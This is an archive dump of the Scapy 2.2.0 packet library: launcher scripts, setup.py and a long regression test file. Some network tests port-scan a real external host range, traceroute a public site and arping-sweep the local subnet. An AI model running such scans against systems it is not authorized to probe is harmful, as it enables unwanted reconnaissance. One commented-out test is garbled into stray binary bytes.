scapy-2.2.0/0000755000175000017500000000000011532602317010740 5ustar pbipbiscapy-2.2.0/run_scapy0000755000175000017500000000011311170743765012677 0ustar pbipbi#! /bin/sh DIR=$(dirname $0) PYTHONPATH=$DIR exec python -m scapy.__init__ scapy-2.2.0/bin/0000755000175000017500000000000011532602317011510 5ustar pbipbiscapy-2.2.0/bin/UTscapy0000755000175000017500000000273311154735574013047 0ustar pbipbi#! /usr/bin/env python ############################################################################# ## ## ## UTscapy.py --- Unit Tests with scapy ## ## see http://www.secdev.org/projects/UTscapy/ ## ## for more informations ## ## ## ## Copyright (C) 2005 Philippe Biondi ## ## ## ## This program is free software; you can redistribute it and/or modify it ## ## under the terms of the GNU General Public License version 2 as ## ## published by the Free Software Foundation. ## ## ## ## This program is distributed in the hope that it will be useful, but ## ## WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## ## General Public License for more details. ## ## ## ############################################################################# import sys from scapy.tools.UTscapy import main main(sys.argv[1:]) scapy-2.2.0/bin/UTscapy.bat0000755000175000017500000000017011267112517013574 0ustar pbipbi@REM Use Python to run the UTscapy script from the current directory, passing all parameters @python %~dp0\UTscapy %* scapy-2.2.0/bin/scapy0000755000175000017500000000270211154735574012572 0ustar pbipbi#! /usr/bin/env python ############################################################################# ## ## ## scapy.py --- Interactive packet manipulation tool ## ## see http://www.secdev.org/projects/scapy/ ## ## for more informations ## ## ## ## Copyright (C) Philippe Biondi ## ## ## ## This program is free software; you can redistribute it and/or modify it ## ## under the terms of the GNU General Public License version 2 as ## ## published by the Free Software Foundation. ## ## ## ## This program is distributed in the hope that it will be useful, but ## ## WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## ## General Public License for more details. ## ## ## ############################################################################# from scapy.main import interact interact() scapy-2.2.0/bin/scapy.bat0000755000175000017500000000016411267112517013326 0ustar pbipbi@REM Use Python to run the Scapy script from the current directory, passing all parameters @python %~dp0\scapy %* scapy-2.2.0/setup.py0000755000175000017500000000310311532602153012450 0ustar pbipbi#! /usr/bin/env python """ Distutils setup file for Scapy. """ from distutils import archive_util from distutils import sysconfig from distutils.core import setup from distutils.command.sdist import sdist import os EZIP_HEADER="""#! /bin/sh PYTHONPATH=$0/%s exec python -m scapy.__init__ """ def make_ezipfile(base_name, base_dir, verbose=0, dry_run=0): fname = archive_util.make_zipfile(base_name, base_dir, verbose, dry_run) ofname = fname+".old" os.rename(fname,ofname) of=open(ofname) f=open(fname,"w") f.write(EZIP_HEADER % base_dir) while True: data = of.read(8192) if not data: break f.write(data) f.close() os.system("zip -A '%s'" % fname) of.close() os.unlink(ofname) os.chmod(fname,0755) return fname archive_util.ARCHIVE_FORMATS["ezip"] = (make_ezipfile,[],'Executable ZIP file') SCRIPTS = ['bin/scapy','bin/UTscapy'] # On Windows we also need additional batch files to run the above scripts if os.name == "nt": SCRIPTS += ['bin/scapy.bat','bin/UTscapy.bat'] setup( name = 'scapy', version = '2.2.0', packages=['scapy','scapy/arch', 'scapy/arch/windows', 'scapy/layers','scapy/asn1','scapy/tools','scapy/modules', 'scapy/crypto'], scripts = SCRIPTS, data_files = [('share/man/man1', ["doc/scapy.1.gz"])], # Metadata author = 'Philippe BIONDI', author_email = 'phil(at)secdev.org', description = 'Scapy: interactive packet manipulation tool', license = 'GPLv2', url = 'http://www.secdev.org/projects/scapy' # keywords = '', # url = '', ) scapy-2.2.0/test/0000755000175000017500000000000011532602317011717 5ustar pbipbiscapy-2.2.0/test/regression.uts0000644000175000017500000064063611502141333014644 0ustar pbipbi% Regression tests for Scapy # More informations at http://www.secdev.org/projects/UTscapy/ # $Id: regression.uts,v 1.9 2008/07/29 15:30:29 pbi Exp pbi $ ############ ############ + Informations on Scapy = Get conf ~ conf command * Dump the current configuration conf = List layers ~ conf command ls() = List commands ~ conf command lsc() = Configuration ~ conf conf.debug_dissect=1 ############ ############ + Basic tests * Those test are here mainly to check nothing has been broken * and to catch Exceptions = Building some packets packet ~ basic IP TCP UDP NTP LLC SNAP Dot11 IP()/TCP() Ether()/IP()/UDP()/NTP() Dot11()/LLC()/SNAP()/IP()/TCP()/"XXX" IP(ttl=25)/TCP(sport=12, dport=42) = Manipulating some packets ~ basic IP TCP a=IP(ttl=4)/TCP() a.ttl a.ttl=10 del(a.ttl) a.ttl TCP in a a[TCP] a[TCP].dport=[80,443] a a=3 = Checking overloads ~ basic IP TCP Ether a=Ether()/IP()/TCP() a.proto _ == 6 = sprintf() function ~ basic sprintf Ether IP UDP NTP a=Ether()/IP()/IP(ttl=4)/UDP()/NTP() a.sprintf("%type% %IP.ttl% %#05xr,UDP.sport% %IP:2.ttl%") _ in [ '0x800 64 0x07b 4', 'IPv4 64 0x07b 4'] = sprintf() function ~ basic sprintf IP TCP SNAP LLC Dot11 * This test is on the conditionnal substring feature of sprintf() a=Dot11()/LLC()/SNAP()/IP()/TCP() a.sprintf("{IP:{TCP:flags=%TCP.flags%}{UDP:port=%UDP.ports%} %IP.src%}") _ == 'flags=S 127.0.0.1' = haslayer function ~ basic haslayer IP TCP ICMP ISAKMP x=IP(id=1)/ISAKMP_payload_SA(prop=ISAKMP_payload_SA(prop=IP()/ICMP()))/TCP() TCP in x, ICMP in x, IP in x, UDP in x _ == (True,True,True,False) = getlayer function ~ basic getlayer IP ISAKMP UDP x=IP(id=1)/ISAKMP_payload_SA(prop=IP(id=2)/UDP(dport=1))/IP(id=3)/UDP(dport=2) x[IP] x[IP:2] x[IP:3] x.getlayer(IP,3) x.getlayer(IP,4) x[UDP] x[UDP:1] x[UDP:2] assert(x[IP].id == 1 and x[IP:2].id == 2 and x[IP:3].id == 3 and x.getlayer(IP).id == 1 and x.getlayer(IP,3).id == 3 and x.getlayer(IP,4) == None and x[UDP].dport == 1 and x[UDP:2].dport == 2) try: x[IP:4] except IndexError: True else: False = equality ~ basic w=Ether()/IP()/UDP(dport=53) x=Ether()/IP(dst="127.0.0.1")/UDP() y=Ether()/IP()/UDP(dport=4) z=Ether()/IP()/UDP()/NTP() t=Ether()/IP()/TCP() x==y, x==z, x==t, y==z, y==t, z==t, w==x _ == (False, False, False, False, False, False, True) ############ ############ + Tests on padding = Padding assembly str(Padding("abc")) assert( _ == "abc" ) str(Padding("abc")/Padding("def")) assert( _ == "abcdef" ) str(Raw("ABC")/Padding("abc")/Padding("def")) assert( _ == "ABCabcdef" ) str(Raw("ABC")/Padding("abc")/Raw("DEF")/Padding("def")) assert( _ == "ABCDEFabcdef" ) = Padding and length computation IP(str(IP()/Padding("abc"))) assert( _.len == 20 and len(_) == 23 ) IP(str(IP()/Raw("ABC")/Padding("abc"))) assert( _.len == 23 and len(_) == 26 ) IP(str(IP()/Raw("ABC")/Padding("abc")/Padding("def"))) assert( _.len == 23 and len(_) == 29 ) = PadField test ~ PadField padding class TestPad(Packet): fields_desc = [ PadField(StrNullField("st", ""),4), StrField("id", "")] TestPad() == TestPad(str(TestPad())) ############ ############ + Tests on basic fields #= Field class #~ core field #Field("foo", None, fmt="H").i2m(None,0xabcdef) #assert( _ == "\xcd\xef" ) #Field("foo", None, fmt="P\xf4\xb6Y\xcbc\x8d\xb6\xbd\x18\xd4\x87J_\xdc\xef\xe9V\xf0\n\x0c\xe8u' ) ############ ############ + Network tests * Those tests need network access = Sending and receiving an ICMP ~ netaccess IP ICMP x=sr1(IP(dst="www.google.com")/ICMP(),timeout=3) x x is not None and ICMP in x and x[ICMP].type == 0 = DNS request ~ netaccess IP UDP DNS * A possible cause of failure could be that the open DNS (resolver1.opendns.com) * is not reachable or down. dns_ans = sr1(IP(dst="resolver1.opendns.com")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.com")),timeout=5) DNS in dns_ans ############ ############ + More complex tests = Implicit logic ~ IP TCP a=IP(ttl=(5,10))/TCP(dport=[80,443]) [p for p in a] len(_) == 12 ############ ############ + Real usages = Port scan ~ netaccess IP TCP ans,unans=sr(IP(dst="www.google.com/30")/TCP(dport=[80,443]),timeout=2) ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("{TCP:%TCP.flags%}{ICMP:%ICMP.code%}"))) = Traceroute function ~ netaccess * Let's test traceroute traceroute("www.slashdot.org") ans,unans=_ = Result manipulation ~ netaccess ans.nsummary() s,r=ans[0] s.show() s.show(2) = DNS packet manipulation ~ netaccess DNS * We have to recalculate IP and UDP length because * DNS is not able to reassemble correctly dns_ans.show() del(dns_ans[IP].len) del(dns_ans[UDP].len) dns_ans.show2() dns_ans[DNS].an.show() DNS in IP(str(dns_ans)) = Arping ~ netaccess * This test assumes the local network is a /24. This is bad. conf.route.route("0.0.0.0")[2] arping(_+"/24") ############ ############ + Automaton tests = Simple automaton ~ automaton class ATMT1(Automaton): def parse_args(self, init, *args, **kargs): Automaton.parse_args(self, *args, **kargs) self.init = init @ATMT.state(initial=1) def BEGIN(self): raise self.MAIN(self.init) @ATMT.state() def MAIN(self, s): return s @ATMT.condition(MAIN, prio=-1) def go_to_END(self, s): if len(s) > 20: raise self.END(s).action_parameters(s) @ATMT.condition(MAIN) def trA(self, s): if s.endswith("b"): raise self.MAIN(s+"a") @ATMT.condition(MAIN) def trB(self, s): if s.endswith("a"): raise self.MAIN(s*2+"b") @ATMT.state(final=1) def END(self, s): return s @ATMT.action(go_to_END) def action_test(self, s): self.result = s = Simple automaton Tests ~ automaton a=ATMT1(init="a") a.run() assert( _ == 'aabaaababaaabaaababab' ) a.result assert( _ == 'aabaaababaaabaaababab' ) a=ATMT1(init="b") a.run() assert( _ == 'babababababababababababababab' ) a.result assert( _ == 'babababababababababababababab' ) = Simple automaton stuck test ~ automaton try: ATMT1(init="").run() except Automaton.Stuck: True else: False = Automaton state overloading ~ automaton class ATMT2(ATMT1): @ATMT.state() def MAIN(self, s): return "c"+ATMT1.MAIN(self, s).run() a=ATMT2(init="a") a.run() assert( _ == 'ccccccacabacccacababacccccacabacccacababab' ) a.result assert( _ == 'ccccccacabacccacababacccccacabacccacababab' ) a=ATMT2(init="b") a.run() assert( _ == 'cccccbaccbabaccccbaccbabab') a.result assert( _ == 'cccccbaccbabaccccbaccbabab') = Automaton condition overloading ~ automaton class ATMT3(ATMT2): @ATMT.condition(ATMT1.MAIN) def trA(self, s): if s.endswith("b"): raise self.MAIN(s+"da") a=ATMT3(init="a", debug=2) a.run() assert( _ == 'cccccacabdacccacabdabda') a.result assert( _ == 'cccccacabdacccacabdabda') a=ATMT3(init="b") a.run() assert( _ == 'cccccbdaccbdabdaccccbdaccbdabdab' ) a.result assert( _ == 'cccccbdaccbdabdaccccbdaccbdabdab' ) = Automaton action overloading ~ automaton class ATMT4(ATMT3): @ATMT.action(ATMT1.go_to_END) def action_test(self, s): self.result = "e"+s+"e" a=ATMT4(init="a") a.run() assert( _ == 'cccccacabdacccacabdabda') a.result assert( _ == 'ecccccacabdacccacabdabdae') a=ATMT4(init="b") a.run() assert( _ == 'cccccbdaccbdabdaccccbdaccbdabdab' ) a.result assert( _ == 'ecccccbdaccbdabdaccccbdaccbdabdabe' ) = Automaton priorities ~ automaton class ATMT5(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res = "J" @ATMT.condition(BEGIN, prio=1) def tr1(self): self.res += "i" raise self.END() @ATMT.condition(BEGIN) def tr2(self): self.res += "p" @ATMT.condition(BEGIN, prio=-1) def tr3(self): self.res += "u" @ATMT.action(tr1) def ac1(self): self.res += "e" @ATMT.action(tr1, prio=-1) def ac2(self): self.res += "t" @ATMT.action(tr1, prio=1) def ac3(self): self.res += "r" @ATMT.state(final=1) def END(self): return self.res a=ATMT5() a.run() assert( _ == 'Jupiter' ) = Automaton test same action for many conditions ~ automaton class ATMT6(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res="M" @ATMT.condition(BEGIN) def tr1(self): raise self.MIDDLE() @ATMT.action(tr1) # default prio=0 def add_e(self): self.res += "e" @ATMT.action(tr1, prio=2) def add_c(self): self.res += "c" @ATMT.state() def MIDDLE(self): self.res += "u" @ATMT.condition(MIDDLE) def tr2(self): raise self.END() @ATMT.action(tr2, prio=2) def add_y(self): self.res += "y" @ATMT.action(tr1, prio=1) @ATMT.action(tr2) def add_r(self): self.res += "r" @ATMT.state(final=1) def END(self): return self.res a=ATMT6() a.run() assert( _ == 'Mercury' ) a.restart() a.run() assert( _ == 'Mercury' ) = Automaton test io event ~ automaton class ATMT7(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res = "S" @ATMT.ioevent(BEGIN, name="tst") def tr1(self, fd): self.res += fd.recv() raise self.NEXT_STATE() @ATMT.state() def NEXT_STATE(self): self.oi.tst.send("ur") @ATMT.ioevent(NEXT_STATE, name="tst") def tr2(self, fd): self.res += fd.recv() raise self.END() @ATMT.state(final=1) def END(self): self.res += "n" return self.res a=ATMT7() a.run(wait=False) a.io.tst.send("at") a.io.tst.recv() a.io.tst.send(_) a.run() assert( _ == "Saturn" ) a.restart() a.run(wait=False) a.io.tst.send("at") a.io.tst.recv() a.io.tst.send(_) a.run() assert( _ == "Saturn" ) = Automaton test io event from external fd ~ automaton class ATMT8(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res = "U" @ATMT.ioevent(BEGIN, name="extfd") def tr1(self, fd): self.res += fd.read(2) raise self.NEXT_STATE() @ATMT.state() def NEXT_STATE(self): pass @ATMT.ioevent(NEXT_STATE, name="extfd") def tr2(self, fd): self.res += fd.read(2) raise self.END() @ATMT.state(final=1) def END(self): self.res += "s" return self.res r,w = os.pipe() a=ATMT8(external_fd={"extfd":r}) a.run(wait=False) os.write(w,"ra") os.write(w,"nu") a.run() assert( _ == "Uranus" ) a.restart() a.run(wait=False) os.write(w,"ra") os.write(w,"nu") a.run() assert( _ == "Uranus" ) = Automaton test interception_points, and restart ~ automaton class ATMT9(Automaton): def my_send(self, x): self.io.loop.send(x) @ATMT.state(initial=1) def BEGIN(self): self.res = "V" self.send(Raw("ENU")) @ATMT.ioevent(BEGIN, name="loop") def received_sth(self, fd): self.res += fd.recv().load raise self.END() @ATMT.state(final=1) def END(self): self.res += "s" return self.res a=ATMT9(debug=5) a.run() assert( _ == "VENUs" ) a.restart() a.run() assert( _ == "VENUs" ) a.restart() a.BEGIN.intercepts() while True: try: x = a.run() except Automaton.InterceptionPoint,p: a.accept_packet(Raw(p.packet.load.lower()), wait=False) else: break x assert( _ == "Venus" ) + Test IP options = IP options individual assembly ~ IP options str(IPOption()) assert(_ == '\x00\x02') str(IPOption_NOP()) assert(_ == '\x01') str(IPOption_EOL()) assert(_ == '\x00') str(IPOption_LSRR(routers=["1.2.3.4","5.6.7.8"])) assert(_ == '\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08') = IP options individual dissection ~ IP options IPOption("\x00") assert(_.option == 0 and isinstance(_, IPOption_EOL)) IPOption("\x01") assert(_.option == 1 and isinstance(_, IPOption_NOP)) lsrr='\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08' p=IPOption_LSRR(lsrr) p q=IPOption(lsrr) q assert(p == q) = IP assembly and dissection with options ~ IP options IP(src="9.10.11.12",dst="13.14.15.16",options=IPOption_SDBM(addresses=["1.2.3.4","5.6.7.8"]))/TCP() str(_) assert(_ == 'H\x00\x004\x00\x01\x00\x00@\x06\xa2q\t\n\x0b\x0c\r\x0e\x0f\x10\x95\n\x01\x02\x03\x04\x05\x06\x07\x08\x00\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00_K\x00\x00') q=IP(_) q assert( isinstance(q.options[0],IPOption_SDBM) ) assert( q[IPOption_SDBM].addresses[1] == "5.6.7.8" ) IP(src="9.10.11.12", dst="13.14.15.16", options=[IPOption_NOP(),IPOption_LSRR(routers=["1.2.3.4","5.6.7.8"]),IPOption_Security(transmission_control_code="XYZ")])/TCP() str(_) assert(_ == 'K\x00\x00@\x00\x01\x00\x00@\x06\xf3\x83\t\n\x0b\x0c\r\x0e\x0f\x10\x01\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08\x82\x0b\x00\x00\x00\x00\x00\x00XYZ\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00_K\x00\x00') IP(_) q=_ assert(q[IPOption_LSRR].get_current_router() == "1.2.3.4") assert(q[IPOption_Security].transmission_control_code == "XYZ") assert(q[TCP].flags == 2) + Test PPP = PPP/HDLC ~ ppp hdlc HDLC()/PPP()/PPP_IPCP() str(_) s=_ assert(s == '\xff\x03\x80!\x01\x00\x00\x04') PPP(s) p=_ assert(HDLC in p) assert(p[HDLC].control==3) assert(p[PPP].proto==0x8021) PPP(s[2:]) q=_ assert(HDLC not in q) assert(q[PPP].proto==0x8021) = PPP IPCP ~ ppp ipcp PPP('\x80!\x01\x01\x00\x10\x03\x06\xc0\xa8\x01\x01\x02\x06\x00-\x0f\x01') p=_ assert(p[PPP_IPCP].code == 1) assert(p[PPP_IPCP_Option_IPAddress].data=="192.168.1.1") assert(p[PPP_IPCP_Option].data == '\x00-\x0f\x01') p=PPP()/PPP_IPCP(options=[PPP_IPCP_Option_DNS1(data="1.2.3.4"),PPP_IPCP_Option_DNS2(data="5.6.7.8"),PPP_IPCP_Option_NBNS2(data="9.10.11.12")]) str(p) assert(_ == '\x80!\x01\x00\x00\x16\x81\x06\x01\x02\x03\x04\x83\x06\x05\x06\x07\x08\x84\x06\t\n\x0b\x0c') PPP(_) q=_ assert(str(p) == str(q)) assert(PPP(str(q))==q) PPP()/PPP_IPCP(options=[PPP_IPCP_Option_DNS1(data="1.2.3.4"),PPP_IPCP_Option_DNS2(data="5.6.7.8"),PPP_IPCP_Option(type=123,data="ABCDEFG"),PPP_IPCP_Option_NBNS2(data="9.10.11.12")]) p=_ str(p) assert(_ == '\x80!\x01\x00\x00\x1f\x81\x06\x01\x02\x03\x04\x83\x06\x05\x06\x07\x08{\tABCDEFG\x84\x06\t\n\x0b\x0c') PPP(_) q=_ assert( q[PPP_IPCP_Option].type == 123 ) assert( q[PPP_IPCP_Option].data == 'ABCDEFG' ) assert( q[PPP_IPCP_Option_NBNS2].data == '9.10.11.12' ) = PPP ECP ~ ppp ecp PPP()/PPP_ECP(options=[PPP_ECP_Option_OUI(oui="XYZ")]) p=_ str(p) assert(_ == '\x80S\x01\x00\x00\n\x00\x06XYZ\x00') PPP(_) q=_ assert( str(p)==str(q) ) PPP()/PPP_ECP(options=[PPP_ECP_Option_OUI(oui="XYZ"),PPP_ECP_Option(type=1,data="ABCDEFG")]) p=_ str(p) assert(_ == '\x80S\x01\x00\x00\x13\x00\x06XYZ\x00\x01\tABCDEFG') PPP(_) q=_ assert( str(p) == str(q) ) assert( q[PPP_ECP_Option].data == "ABCDEFG" ) # Scapy6 Regression Test Campaign ########### IPv6 Class ############################################## + Test IPv6 Class = IPv6 Class basic Instantiation a=IPv6() = IPv6 Class basic build (default values) str(IPv6()) == '`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = IPv6 Class basic dissection (default values) a=IPv6(str(IPv6())) a.version == 6 and a.tc == 0 and a.fl == 0 and a.plen == 0 and a.nh == 59 and a.hlim ==64 and a.src == "::1" and a.dst == "::1" = IPv6 Class with basic TCP stacked - build str(IPv6()/TCP()) == '`\x00\x00\x00\x00\x14\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f}\x00\x00' = IPv6 Class with basic TCP stacked - dissection a=IPv6(str(IPv6()/TCP())) a.nh == 6 and a.plen == 20 and isinstance(a.payload, TCP) and a.payload.chksum == 0x8f7d = IPv6 Class with TCP and TCP data - build str(IPv6()/TCP()/Raw(load="somedata")) == '`\x00\x00\x00\x00\x1c\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd5\xdd\x00\x00somedata' = IPv6 Class with TCP and TCP data - dissection a=IPv6(str(IPv6()/TCP()/Raw(load="somedata"))) a.nh == 6 and a.plen == 28 and isinstance(a.payload, TCP) and a.payload.chksum == 0xd5dd and isinstance(a.payload.payload, Raw) and a[Raw].load == "somedata" = IPv6 Class binding with Ethernet - build str(Ether(src="00:00:00:00:00:00", dst="ff:ff:ff:ff:ff:ff")/IPv6()/TCP()) == '\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x86\xdd`\x00\x00\x00\x00\x14\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f}\x00\x00' = IPv6 Class binding with Ethernet - dissection a=Ether(str(Ether()/IPv6()/TCP())) a.type == 0x86dd ########### IPv6ExtHdrRouting Class ########################### = IPv6ExtHdrRouting Class - No address - build str(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=[])/TCP(dport=80)) =='`\x00\x00\x00\x00\x1c+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xa5&\x00\x00' = IPv6ExtHdrRouting Class - One address - build str(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2022::deca"])/TCP(dport=80)) == '`\x00\x00\x00\x00,+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x02\x00\x01\x00\x00\x00\x00 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91\x7f\x00\x00' = IPv6ExtHdrRouting Class - Multiple Addresses - build str(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2001::deca", "2022::deca"])/TCP(dport=80)) == '`\x00\x00\x00\x00<+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x04\x00\x02\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91\x7f\x00\x00' = IPv6ExtHdrRouting Class - Specific segleft (2->1) - build str(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2001::deca", "2022::deca"], segleft=1)/TCP(dport=80)) == '`\x00\x00\x00\x00<+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x04\x00\x01\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91\x7f\x00\x00' = IPv6ExtHdrRouting Class - Specific segleft (2->0) - build str(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2001::deca", "2022::deca"], segleft=0)/TCP(dport=80)) == '`\x00\x00\x00\x00<+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x04\x00\x00\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xa5&\x00\x00' ########### in6_get6to4Prefix() ##################################### + Test in6_get6to4Prefix() = Test in6_get6to4Prefix() - 0.0.0.0 address in6_get6to4Prefix("0.0.0.0") == "2002::" = Test in6_get6to4Prefix() - 255.255.255.255 address in6_get6to4Prefix("255.255.255.255") == "2002:ffff:ffff::" = Test in6_get6to4Prefix() - 1.1.1.1 address in6_get6to4Prefix("1.1.1.1") == "2002:101:101::" = Test in6_get6to4Prefix() - invalid address in6_get6to4Prefix("somebadstring") is None ########### in6_get6to4Prefix() ##################################### + Test in6_6to4ExtractAddr() = Test in6_6to4ExtractAddr() - 2002:: address in6_6to4ExtractAddr("2002::") == "0.0.0.0" = Test in6_6to4ExtractAddr() - 255.255.255.255 address in6_6to4ExtractAddr("2002:ffff:ffff::") == "255.255.255.255" = Test in6_6to4ExtractAddr() - "2002:101:101::" address in6_6to4ExtractAddr("2002:101:101::") == "1.1.1.1" = Test in6_6to4ExtractAddr() - invalid address in6_6to4ExtractAddr("somebadstring") is None ########### RFC 4489 - Link-Scoped IPv6 Multicast address ########### = in6_getLinkScopedMcastAddr() : default generation a = in6_getLinkScopedMcastAddr(addr="FE80::") a == 'ff32:ff::' = in6_getLinkScopedMcastAddr() : different valid scope values a = in6_getLinkScopedMcastAddr(addr="FE80::", scope=0) b = in6_getLinkScopedMcastAddr(addr="FE80::", scope=1) c = in6_getLinkScopedMcastAddr(addr="FE80::", scope=2) d = in6_getLinkScopedMcastAddr(addr="FE80::", scope=3) a == 'ff30:ff::' and b == 'ff31:ff::' and c == 'ff32:ff::' and d is None = in6_getLinkScopedMcastAddr() : grpid in different formats a = in6_getLinkScopedMcastAddr(addr="FE80::A12:34FF:FE56:7890", grpid="\x12\x34\x56\x78") b = in6_getLinkScopedMcastAddr(addr="FE80::A12:34FF:FE56:7890", grpid="12345678") c = in6_getLinkScopedMcastAddr(addr="FE80::A12:34FF:FE56:7890", grpid=305419896) a == b and b == c ########### ethernet address to iface ID conversion ################# = in6_mactoifaceid() conversion function (test 1) in6_mactoifaceid("FD:00:00:00:00:00", ulbit=0) == 'FD00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 2) in6_mactoifaceid("FD:00:00:00:00:00", ulbit=1) == 'FF00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 3) in6_mactoifaceid("FD:00:00:00:00:00") == 'FF00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 4) in6_mactoifaceid("FF:00:00:00:00:00") == 'FD00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 5) in6_mactoifaceid("FF:00:00:00:00:00", ulbit=1) == 'FF00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 6) in6_mactoifaceid("FF:00:00:00:00:00", ulbit=0) == 'FD00:00FF:FE00:0000' ########### iface ID conversion ################# = in6_mactoifaceid() conversion function (test 1) in6_ifaceidtomac(in6_mactoifaceid("FD:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 2) in6_ifaceidtomac(in6_mactoifaceid("FD:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 3) in6_ifaceidtomac(in6_mactoifaceid("FD:00:00:00:00:00")) == 'fd:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 4) in6_ifaceidtomac(in6_mactoifaceid("FF:00:00:00:00:00")) == 'ff:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 5) in6_ifaceidtomac(in6_mactoifaceid("FF:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 6) in6_ifaceidtomac(in6_mactoifaceid("FF:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' = in6_addrtomac() conversion function (test 1) in6_addrtomac("FE80::" + in6_mactoifaceid("FD:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' = in6_addrtomac() conversion function (test 2) in6_addrtomac("FE80::" + in6_mactoifaceid("FD:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_addrtomac() conversion function (test 3) in6_addrtomac("FE80::" + in6_mactoifaceid("FD:00:00:00:00:00")) == 'fd:00:00:00:00:00' = in6_addrtomac() conversion function (test 4) in6_addrtomac("FE80::" + in6_mactoifaceid("FF:00:00:00:00:00")) == 'ff:00:00:00:00:00' = in6_addrtomac() conversion function (test 5) in6_addrtomac("FE80::" + in6_mactoifaceid("FF:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_addrtomac() conversion function (test 6) in6_addrtomac("FE80::" + in6_mactoifaceid("FF:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' ########### RFC 3041 related function ############################### = Test in6_getRandomizedIfaceId res=True for i in range(10): s1,s2 = in6_getRandomizedIfaceId('20b:93ff:feeb:2d3') inet_pton(socket.AF_INET6, '::'+s1) tmp2 = inet_pton(socket.AF_INET6, 